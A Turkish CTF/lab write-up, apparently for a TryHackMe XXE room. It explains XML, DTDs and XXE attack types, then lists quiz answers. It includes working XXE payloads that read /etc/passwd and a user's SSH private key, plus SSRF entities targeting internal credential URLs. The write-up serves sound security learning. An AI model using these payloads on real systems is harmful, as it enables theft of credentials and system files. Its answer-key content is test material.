XML External Entity (XXE) Nedir ?
XXE bir saldırganın uygulamanın kendisinin erişebileceği herhangi bir backend veya external sistemle etkileşime girmesine izin verir ve bu sayede saldırgan sistemden dosya okuyabilir. Ayrıca RCE,SSRF veya DOS gerçekleştirmek için de kullanılabilir. iki tür XXE saldırısı vardır.
1) in-band : Bant içi xxe saldırısı saldırganın xxe payloaduna anında yanıt alabildiği saldırıdır.
2) out-of-band : blind xxe olarak da adlandırılır. Web uygulamasından direkt yanıt gelmez ve saldırgan xxe payloadının çıktısını başka bir dosyaya veya kendi sunucusuna yansıtması gerekir.
İlgili sunucunun şöyle bir xml verisi aldığını varsayalım:
<?xml version="1.0" encoding="UTF-8"?> <stockCheck> <productId>381</productId> </stockCheck>
Her xml dökümanı şu şekilde başlar:
<?xml version=”1.0″ encoding=”UTF-8″?>
<stockCheck> root element olarak adlandırılır.
<productId> ise children element olarak adlandırılır.Bu elementlerin tanımlandığı standart DTD (Document Type Definition) olarak adlandırlır ve örneğin note.dtd şeklinde dosyada tutulur.
note.dtd dosyasının içeriği şu şekilde olsun :
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
Sunucuya gönderilen xml verisi de bu şekilde :
<?xmlversion="1.0"encoding="UTF-8"?> <!DOCTYPEnote SYSTEM "note.dtd"> <note> <to>falcon</to> <from>feast</from> <heading>hacking</heading> <body>XXE attack</body> </note>
!DOCTYPE note kısmı root elementi tanımlar. Bu bilgi note.dtd de mevcut.
!ELEMENT to,from,heading,bodykısımlarının tipi #PCDATA şeklinde tanımlanmıştır.
Örnek XML payloadı şu şekilde :
<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]> <root>&read;</root>
root elementi tanımlandıktan sonra SYSTEM ile sunucudan /etc/passwd dosyası okunur ve read değişkenine aktarılır. Daha sonra bu root elementi içerisinde belirtilip ekrana yazılır.
XXE zafiyetinden ssrf elde etmek de mümkün demiştik:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]><!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://127.0.0.1/admin/creds.txt"> ]>
Task 1 Deploy the VM:
Makineyi deploy etmekle başlayalım.
Task 2 eXtensible Markup Language:
Soru 1 : Full form of XML
Cevap : extensensible markup language
Soru 2 : Is XML case sensitive?
Cevap : yes
Soru 3 : Is it compulsory to have XML prolog in XML documents?
Cevap : no
Soru 4 : Can we validate XML documents against so schema?
Cevap : yes
Soru 5 : How can we specify XML version and encoding in XML document?
Cevap : xml prolog
Task 3 DTD:
Soru 1 : With what extension do you save a DTD file?
Cevap : dtd
Soru 2 : How do you define a new ELEMENT?
Cevap : !ELEMENT
Soru 3 : How do you define a ROOT element?
Cevap : !DOCTYPE
Soru 4 : How do you define a new ENTITY?
Cevap : !ENTITY
Task 4 XXE payload:
No answer needed.
Task 5 Exploiting:
Soru 1 : What is the name of the user in /etc/passwd
Hedef : 10.10.29.33
Bizi şöyle bir sayfa karşılıyor.
Payload kısmına XXE payloadımı yazdıktan sonra request e burp ile müdehale edip çıktısını görüyorum.
<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY goster SYSTEM 'file:///etc/passwd'>]><root>&goster;</root>
Cevap : falcon
Soru 2 : What are the first 18 characters for falcon’s private key
falconun private key’i .ssh dizini altında bulunuyor. bu yüzden payloadıma bu bilgiyi ekleyip private key e ulaşıyorum.
<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY cokgizli SYSTEM 'file:////home/falcon/.ssh/id_rsa'>]><root>&cokgizli;</root>
Cevap : MIIEogIBAAKCAQEA7b